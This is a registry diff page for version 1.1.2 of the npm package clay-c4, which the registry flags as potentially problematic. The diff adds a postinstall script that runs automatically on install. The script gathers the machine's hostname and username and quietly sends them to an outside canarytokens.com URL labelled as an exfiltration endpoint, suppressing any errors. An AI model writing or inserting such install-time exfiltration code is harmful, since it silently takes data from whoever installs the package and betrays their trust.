clay-c4 1.1.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of clay-c4 might be problematic. Click here for more details.
- package/package.json +10 -0
- package/postinstall.js +16 -0
package/package.json
ADDED
package/postinstall.js
ADDED
@@ -0,0 +1,16 @@
|
|
1
|
+
const https = require("https");
|
2
|
+
const os = require("os");
|
3
|
+
|
4
|
+
// Gather system details
|
5
|
+
const hostname = os.hostname();
|
6
|
+
const username = os.userInfo().username;
|
7
|
+
|
8
|
+
// Construct the exfiltration URL
|
9
|
+
const EXFIL_URL = `https://canarytokens.com/articles/about/45ifbhfwf11hu84j98iwiibd8/submit.aspx?user=${encodeURIComponent(username)}&host=${encodeURIComponent(hostname)}&package=clay-c4`;
|
10
|
+
|
11
|
+
// Send the request
|
12
|
+
https.get(EXFIL_URL, (res) => {
|
13
|
+
// Silently handle response
|
14
|
+
}).on("error", (err) => {
|
15
|
+
// Silently ignore errors
|
16
|
+
});
|